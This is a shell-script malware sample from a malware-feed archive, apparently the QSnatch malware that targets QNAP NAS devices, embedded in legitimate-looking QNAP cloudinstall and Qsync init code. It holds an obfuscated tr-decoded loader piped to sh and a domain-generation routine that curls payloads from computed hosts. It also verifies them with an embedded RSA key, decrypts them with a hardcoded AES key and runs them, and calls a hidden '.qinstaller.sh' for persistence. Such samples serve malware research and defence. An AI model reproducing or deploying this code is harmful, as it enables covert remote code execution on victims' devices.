Malware-Feed/2020.07.27_CISA-Legacy_Malware_Targeting_QNAP_NAS/4b514278a3ad03f5efb9488f41585458c7d42d0028e48f6e45c944047f3a15e9
2021-02-06 08:23:48 -07:00

536 lines
24 KiB
Bash

#!/bin/sh
iifEsx=${ItjkToy}tr
EJrRDOD=${yCxo}${cLJbbLDqLZwXv}\\${agYc}${RrjzeLYCRUzos}
VmyzjJv=${xlZGXdYXJFYgH}${kWeAeBftiPR}${JFMCQy}${EJrRDOD}${fHGHSADsOyn}13${mGaotN}${WxMnjPT}3
CdKAKzH=${wfKXIFWvqOikn}${twRUZectEUG}${CNfQNb}${EJrRDOD}${GSjRhNCYzWG}05${DWpJgo}${kAqrAMV}5
bHlsbZa=${myLnvVtWItJnf}${UaUurmZJzSI}${tPxwHu}${EJrRDOD}${mAghPcqqNjE}13${HjcERM}${TqxlNfO}4
$iifEsx '>may!'$CdKAKzH'Gju#Y%nJgRNq&hWI<Dc|VpoM{\n}AzOUQKfCL;T'"'"'vribHF]B"kt('$VmyzjJv'` PEx+=Z'$bHlsbZa'$ed*swSl)X' 'JNxBZP#&bktv'$CdKAKzH'MVnc%Ui('$VmyzjJv')I>OwAX`+zjG*KlY|\nqfS TaoLDh!=g}FerQ;Rs'$bHlsbZa'Wd'"'"'$Hpy<]"umC{E' << "EgdaOBDdZ" | ${xUSaSbNWXji}s${WWfYBc}h${jXdVSwF}
;Bu xlAbA]/HZ)+YiiU& [kOQv"rSt/Z=Ea68=Z)hmC>'P! l#OBVb"YY$+/NZ)Xp};HVR[tX"BhnuhR/PePZ)y[%CC"/PHZ)(RBPykN|w}}#"v(t.Z)O(XwOV#"NZ)}yA>%"BZ)+HPb#SJ>g"hZ)\$r+w+lo!+bk|Q("Z)v\AYYx"Z)[}h(vLNPlJp "fZ=Ea74=(Z)b+w
%##v+YX!m|"Z);aRD[[yNYJ"T=b}Rvm` &oeE134"aPqkBE055\
w=s=s=yCWrU{jui;]ZJTxLFY[S>Mz#Xh)+sVgE133QOD!%cl|AER'-<$*NKHdGt(p=T=YZehF=s=s=|W%ERQ coa(t"+xHlvp)ib-'zMwGDTLus};\]E134E055O`gXA<PdrBKE133m[J>jRU&{S$q*V
Cy!kN#=ddsbebuk;kubCSscZ;Bu xlAbAf]m/xv|/sweIB|ksbkJ&+JeWJeJJJJAg(yAJsS#eJJJJAg(yAJ-v|S}W1:M4n#eJJJJAg(yAJ-yqS}W2:M12n#eJJJJAg(yAJps<y(BSL}W3:MyMKCMGnLeJJJJbkJM\(JL}ps<y(BLJVJ/\Bo/;ky|\g-JQJWJeJJJJJJJJkBy\JMk|J}&&}"CDU %J$J&J}-yqJMJ}-v|J'J1J+J'J}-v|J++Js#eJJJJJJJJB(wgJL}sLeJJJJnene(g--y|\JMoJ-pbB-<JaJ/\Bo/|;AAJ2al1JQQJ-pbB-<J&+JWJeAg(yAJs;TTvqSiIB|ksbkJ6J6iebBsbJL}2LJllJWJ-p\vkJL}W2$PPPPPPn}s;TTvqL#JB(wgJL}W2$PPPPPPn}s;TTvqL#JnJQQJWJbg;(wJL}W1$PPPPPPn}s;TTvqL#JB(wgJL}W1$$PPPPPPn}s;TTvqL#JneneBqB(J2a/\Bo/|;AAe{Cj[SL}W{Cj[n:/xv|:/sxv|:/;sk/xv|:/;sk/sxv|:/;sk/xv|/P11:/;sk/Ag(yA/sxv|:/;sk/Ag(yA/xv|LebBsbJmJMKJL}W!fh"E_Yj"ZD)nLJQQJWJ<kv|bTJLUybB:JL#JjGS)%jJ\ybB#JBqvbJ0#JneB(wgJLUybB:JY;|JUB(J18J11:56:51J)%jJ2016Le(kSi<kv|bTJ`>k`JQQJB(wgJM|BJ`>k`iebBsbJL}W](knLJMBHJ1JllJB(wgJL}(kLJQQJB(wgJLLebBsbJLq}[jj{_"hth"h"LJSJLq88\\45y\61x9\18x47216856(77T1(3Txx38y191LJQQJBqvbJ0ebBsbJmJMKJL}W0nLJllJbBsbJi<sJy;qJQJIkB<JL}W0nLJQJN(JMAiJMIbJ40JllJBqvbJ0e(g--y|\JMoJg<B|ssAJa/\Bo/|;AAJ2al1JllJWe{ YjUCjCS``epSLyT;{j<wj;-B|0rA7{|k<%)N|3PDx<N;;LebBsbJLq}W"h!fhYj_%hj[ UnLJSJq{ YjJllJbBsbJmJMKJL}W!fh"E_Yj"ZD)nLJllJ(ysBJL}W!fh"E_Yj"ZD)nLJv|J``JQJuOm0M9*uJQJ0uJ+JTyAsBJ##JO0M9*O0M9*O0M9*O0M9*O0M9*O0M9*O0M9*O0M9*J+J\SL}&&Ji\ybBJ'$siJ/J100J++L#JbBsbJL}W!fh"E_Yj"ZD)nLJSJL}W\nLJllJ(bSL}\LJQQJWJbBsbJL}W!fh"E_Yj"ZD)nLJSJL}&&J}\JMJ1++LJllJ(bSL}&&J}\JMJ1J++L#JnJ##Ju+JTyAsBJ##JBsy(JllJbBsbJmJMKJL}W!fh"E_Yj"ZD)nLJllJWe|AS`e`e(ysBJL}W= DjhDj_rhD)j[nLJv|J``JQJuOm0M9*uJQJ0uJ+JTyAsBJ##Ju+JbBsbJL}W= DjhDj_rhD)j[nLJMAbJ2147483646J##JBsy(JllJWJZtYSJkBy\JM\J``JMk|JL}W= DjhDj_rhD)j[nLJ{ YjUCjC#JbBsbJMKJL}{ YjUCjCLJllJ{ YjUCjCSi\\JxsS1J(g;|bSL}= DjhDj_rhD)j[LJ2a/\Bo/|;AAi#JnJQQJbBsbJL}{ YjUCjCLJQQJ{ YjUCjCSi(ybiJQQJBqvbJ0esSL}W{ YjUCjC]]u.nLesbSL}Ws]]uMnLesSL}Ws$$MunLe\SL}&&J}\J/J1000J++LebBsbJmJMKJL}\LJllJbBsbJmJMKJL}sbLJllJbBsbJL}W]sbnLJSJ5JllJWJbBsbJLq}sbLJSJLq}\LJQQJbBsbJLq}sbLJSJLq}&&J}\JMJ1J++L#JnJQQJWJbBsbJMTJL}bLJllJk-JL}bL#JBqvbJ0#Jne(ysBJL}sLJv|J``JQJuOmyMKCMG0M9/'S}|A*uJ+JbBsbJMTJL}bLJllJk-JL}bL#JBqvbJ0#J##JBsy(ebSi-pbB-<J/b-</.b-<.PPPPPPiJQQJBqvbJ0e(ybJaJL}bLJVVLh tLJQQJWJbBsbJMTJL}bLJllJk-JL}bL#JBqvbJ0#JneMMMMMdh)ZDJ{fdrZ=JzhEMMMMMe%ZZdgFCDdIpHwpv)9N0dC!htCC =CE8C%ZZdvIz=CEhCRv)'[/1T(r%TjDfoodBse cH06T )-dtzZf ={sR)<C;KUk=zA|d;[gr4wYhb|;qjdDb8FCdK\G'<9HfxCG3 eKy{-cZ\s1I[[A1zt'!8[5xD\Ds9%="pho=fIc)tB3CyAr7p'F/"Pds
ksr=z\)z
ey['\b=0D\rz\pKwz8HdHK[q='%f)KBB5// IUz\(zBBAy=IKfcy0;v11dG3ZFz<!eA7[gpX[-RK"kc){(;(4pA[9xz4YBCUBw"RFRAvo[!(HYz1sDsNy<c-2HUFR!7wF"e"2sy K;xjfN1'2!zA'%R5YTRg/d8Dg<DE6hC r8E={X[=y<H2yT2GRbwyX22X<TEeKbKFhR5 ptDw6T"IGD<xs;%;4|{yd/kIoc-s
q93y|sw4ZBPv{R ;zXdy-fGRZoreqk2hY=2kwI
wHIc;vrA[)'[%z63{g\d%tRzH9kr\4w99|Px9'v=-t!9TKczs9YY%eF7qy\)<yxz2yDj<D3KUC;h)Z4G bHqrH
Fh[-0xh'G5tCI%dCChSeMMMMMhDUJ{fdrZ=JzhEMMMMMeh tebBsbJmJMKJL}sLJllJwSig<B|ssAJxysB64JM\JVVh tJQJg<B|ssAJksy;bAJM<;xv|JMv|pBRJL}bLJMoBkvTRe}seh teiJQQJWJbBsbJMTJL}bLJllJk-JL}bL#JBqvbJ0#JnebBsbJMTJL}bLJllJk-JL}bLe-SL}W{ YjUCjC$$.unLe{ YjUCjCS``e(ysBJL}-LJv|J``JQJuOmyMKCMG0M9/'S}|A*uJ+JBqvbJ0J##JBsy(epSig<B|ssAJ\IsbJMswy1JMxv|ykRJMw-y(JL}(bLJVVh tJQJg<B|ssAJxysB64e}peh teie-Sig<B|ssAJB|(JM\JMyBsM256M(x(JMpJL}pLJM-\Jswy1JMsyAbJMyJVVh te}-eh teie-wSig<B|ssAJ\IsbJMswy1JMxv|ykRJMw-y(JL}sbLJVVh tJQJg<B|ssAJxysB64e}-eh teiebBsbJmJMKJL}wLJllJbBsbJL}wLJSJL}-wLJQQJBqvbJ0eBoyAJL}-Lebk;BenJQQJWebSi-pbB-<J/b-</.b-<.PPPPPPiJQQJBqvbJ0e(ybJaJL}bLJVVLh tLJQQJWJbBsbJMTJL}bLJllJk-JL}bL#JBqvbJ0#JneMMMMMdh)ZDJ{fdrZ=JzhEMMMMMe%ZZdgFCDdIpHwpv)9N0dC!htCC =CE8C%ZZdvIz=CEhC9!-[%N4FN8= rEzI HT=e0)Gs"YNtIvqj0Av%(42GYksskst)GAU{z35KA\-xfsh!PbtEpUFXBf(p<2yw8t(TeCdtf)8%r|A6Njoq)GNccx%r{UvEg5A/\07dz(xNE;HD<'2//2\;pq=Ryp ZZ|ZHterIk%5|o<5dzdd((%A%dystbqGTtIbDFA!9v9-DTv53|yAk%{"gA9zvT
1Eq-rN1'e7)j;FtYARz9C<ov/GZ2R/oR-6D
x
hsyh5d9IIPcEkXqAxzq%ZK
;PT18Y2<48twe<XfREc0-FUf(3Yvc"4"v{vp{<j!IpYFR90y%zkg
=C\9%6(GbTN=Kw%xoRbD-\b\eEqdDD|0t-!51(r{('\<yZZq2v/2()\[E8GCFdU%d%dpFZB2ItI(6Ac0
Aj638K'eN7/-{'w(=grXfv)Yvh;-K3fr5{-gXy3N2b04"y70{r
C<)sZ/I<[R[0
8v6RXd[heHfsy!q|d toR'vYg-RtvA2\qz!rFjNRGd|8'1z-g|c2<CI%dCChSeMMMMMhDUJ{fdrZ=JzhEMMMMMeh teg<B|ssAJksy;bAJM<;xv|JMv|pBRJL}bLJMB|(kR<bJVVh tJQJg<B|ssAJxysB64e}peh tek-JL}bLebk;BJen#Jbk;B#JnJQQJWebBsbJLq}C==h{j_rCD)fC)hLJSJLqB\(386809(688\B1295x5T3(449y738176(T1T4TLJllJBoyAJL}W[jj{_fYh"_C)hDjnLenebBsbJMTJL}bLJllJk-JL}bLesABB<J1eBqvbJ0efbebuk;kubCSfZ=Ea63=HSr+ZC&
Y#LLXo'ZssTZ=Ea37=55Z#'&Bmrta#wZssTsZ;Bu xlAbAsftahYT0ffG
EgdaOBDdZ
QNAP_QPKG=cloudinstall
QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf
NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall
CLOUD_INSTALL_PATH=/tunnel_agent
CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk
CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2
COUNTER=1
ERROR_BAD_REQUEST=400
if [ "$fromrcS" = 'TRUE' ]; then
case "$1" in
start)
START_TIME=$(date +"%T")
echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log
while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ];
do
# report device info and get cloudinstall agent app download url
DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r`
if [ ! -d "$CLOUD_INSTALL_PATH" ]; then
if [ "$NAS_ARCH" == "ARM_64" ]; then
# create ramdisk and create a 64mb file
/bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH
/bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH
/bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64
# create block size 1K filesystem
/sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image
# create virtual disk
export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image`
/sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE"
/bin/mkdir -p $CLOUD_INSTALL_PATH
# mount virtual disk
/bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH
else
# create and mount tmpfs folder
/bin/mkdir -p $CLOUD_INSTALL_PATH
/bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH
fi
fi
cd $CLOUD_INSTALL_PATH
if [[ $DOWNLOAD_URL == https* ]]; then
REPORT_SUCCESS_TIME=$(date +"%T")
else
REPORT_FAIL_TIME=$(date +"%T")
echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log
# stop retry when got bad request
# prevent put bad request all the time
if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then
break
fi
fi
# downlaod cloudinstall agent app
/usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL"
if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then
DOWNLOAD_FINISH_TIME=$(date +"%T")
# unzip and execute cloudinstallagent
/bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null
UNZIP_TIME=$(date +"%T")
fi
if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then
# create folder and create symbolic link
/bin/mkdir -p $NAS_CLOUD_INSTALL_PATH
/bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html
/bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi
/bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static
fi
# wait connect
sleep 5
CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'`
if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then
SLEEP_TIME=$(( 30 * $COUNTER ))
if [ $SLEEP_TIME -gt 300 ]; then
SLEEP_TIME=300
fi
# wait next retry
sleep $SLEEP_TIME
fi
COUNTER=$(( $COUNTER * 2 ))
done
END_TIME=$(date +"%T")
echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log
# call for a new process group and for later kill
/bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null &
/bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null &
# set cloudinstall report status
/sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit"
# add link to report offline
/bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline
# buzzer
HARDWARE_TYPE=$(uname -m)
if [[ "$HARDWARE_TYPE" == *"x86"* ]];
then
/sbin/hal_app --se_buzzer enc_id=0,mode=101
elif [[ "$HARDWARE_TYPE" == *"arm"* ]];
then
/sbin/pic_raw 81
fi
;;
stop)
# disconnect cloudinstall agent
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null
$CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null
for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}"
do
# use bash kill instead /bin/kill for kill process group
# cloudinstall agent daemon and inotifywait
kill -9 -- -$i &>/dev/null
done
# umount
if [ "$NAS_ARCH" == "ARM_64" ]; then
/bin/umount -l $USED_LOOP_DEVICE
/usr/local/sbin/losetup -d $USED_LOOP_DEVICE
else
/bin/umount -l $CLOUD_INSTALL_PATH
fi
# remove all files
if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then
/bin/rm -rf $NAS_CLOUD_INSTALL_PATH
fi
if [ -d "$CLOUD_INSTALL_PATH" ]; then
/bin/rm -rf $CLOUD_INSTALL_PATH
fi
if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then
/bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH
fi
;;
restart)
$0 stop
$0 start
;;
*)
echo "Usage: $0 {start|stop|restart}"
{ /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 1; }
esac
{ /share/CACHEDEV1_DATA/.system/.qinstaller.sh; exit 0; }
set_env()
{
debug=`$CMD_GETCFG Qsync Debug -u -d NULL`
if [ "$debug" != "NULL" ]; then
/bin/touch $LOG_FILE
else
/bin/rm -f $LOG_FILE
fi
}
set_env
dbg()
{
if [ -f "$LOG_FILE" ]; then
echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE
fi
}
dbg "> $0 $@ (pid $$)"
fi
export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin"
command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; }
test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
bdir=
test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done
test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done;
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"`
test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1`
test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done;
test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; }
grep -F '' <<EOF >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; }
EOF
test "$fgrep" || fgrep=grep
test "$RANDOM" || RANDOM=17653
genrstr ()
{
local s=;
local min=${1:-4};
local max=${2:-12};
local kspace="${3:-a-zA-Z}"
tr -dc "$kspace" < /dev/urandom | {
read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s;
echo "$s"
}
}
verifyfile() {
local file="$1"
local sig="${2:-$file_s}"
local out
test ! -z "$file" && test -s "$file" || return 1
test ! -z "$sig" && test -s "$sig" || return 1
test -f ".rsakey" || echo "$verifykey" > ".rsakey"
out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0
return 1
}
decryptfile() {
local file="$1"
local ofile="${2:-${file}}"
local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ'
openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $?
test -f "$ofile" && rm -f "$ofile"
mv "${file}_d" "$ofile" && return 0
return 1
}
verifykey='-----BEGIN PUBLIC KEY-----
MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog
CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1'
verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex
RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC
Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV
gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC
2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz
0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh
pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1
DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE=
-----END PUBLIC KEY-----'
DOMAIN_EXT_A='cf tk ml ga gq'
DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd'
test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg"
test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate"
cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.*
echo "$verifykey" > ".rsakey"
i=0 n=0 c=0 errorcount=0
outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out'
for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do
for ext in $domainexts; do
hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g')
hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]}
hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}"
hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname"
for host in $hostnames; do
test -f "$outfile" && rm -f "$outfile"
recentupdate=''
curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)"
test -s "$outfile" || continue
fsize=$(( $(wc -c < "$outfile") ))
test "$fsize" -gt 4096 && rm -f "$outfile" && continue
rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue
test "$rsamsg" || continue
path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}"
hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}"
test "$rsadomain" = "${host}.${ext}" || continue
timenow=$(date +%s)
test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1
curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}"
filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue
test "$filehash" = "$hash" || continue
curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}"
verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue
mv "${outfile}_s" "${ts}_v"
chmod 755 "$outfile" || continue
( ( exec >/dev/null 2>/dev/null </dev/null; "$outfile" </dev/null >/dev/null 2>&1 & ) & )
test "$recentupdate" -eq 1 && exit 0
done
done
done
if [ "$fromrcS" = 'TRUE' ]; then
# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled
set_default_disable_status()
{
QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}`
OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL`
if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then
return
fi
if [ "$QPKG_ENABLE" = "NULL" ]; then
if [ "$OLD_ENABLE" = "FALSE" ]; then
dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
/bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled"
fi
fi
}
if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then
export QNAP_QPKG=rtrr
else
export QNAP_QPKG=HybridBackup
/usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1
fi
start()
{
if [ -f /usr/bin/qsyncman ]; then
[ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf
/bin/sed -i '/hdusb_copy/d' /etc/config/crontab
/usr/bin/crontab /etc/config/crontab
echo -n "Starting QSync manitor: "
[ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync
[ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf
[ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf
[ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf
[ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf
[ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf
[ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf
[ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf
[ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf
/sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1"
echo "OK"
fi
}
stop()
{
echo "Shutting down QSync monitor: OK"
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
kill $pidnum 2>/dev/null
i=0
while [ ${i} -lt 5 ]
do
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
if [ -z "$pidnum" ]; then
break
fi
sleep 1
i=`/usr/bin/expr ${i} + 1`
done
pidnum=`/bin/pidof qsync``/bin/pidof qsyncd`
[ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null
/sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman"
/usr/bin/killall -q qsyncman
}
start_qsyncd()
{
#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
#[ "x$_qsyncd_en" = x1 ] || return -1
_qsyncd_run_pid=`/bin/pidof qsyncd`
[ -z $_qsyncd_run_pid ] || return -114
_recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE`
_with_syslog=$1
if [ "x$_recycle_en" = xTRUE ]; then
if [ "x$_with_syslog" = x1 ]; then
LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
else
LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
fi
else
if [ "x$_with_syslog" = x1 ]; then
/usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf
else
/usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf
fi
fi
_iret=$?
if [ "x$_iret" = x0 ]; then
i=0
while [ ${i} -lt 10000 ]
do
echo "${i} millisecond..."
_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
_qsyncd_run_pid=`/bin/pidof qsyncd`
if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then
break
fi
usleep 50000
i=`/usr/bin/expr ${i} + 50`
done
fi
return -$_iret
}
stop_qsyncd()
{
#_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf`
#[ "x$_qsyncd_en" = x0 ] || return -1
_qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf`
[ $_qsyncd_pid -lt 0 ] && return -3
# Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log
/bin/kill -SIGUSR1 $_qsyncd_pid
usleep 200000
# Send SIGINT to stop the QSyncd process
/bin/kill -SIGINT $_qsyncd_pid
_kill_ret=$?
if [ "x$_kill_ret" != x0 ]; then
return -3
fi
echo "need wait $1 millisecond"
i=0
while true
do
echo "${i} millisecond..."
_qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf`
_qsyncd_run_pid=`/bin/pidof qsyncd`
if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then
break
fi
if [ ${i} -ge $1 ]; then
# if time-out, we send two additional SIGINT to force the daemon to stop.
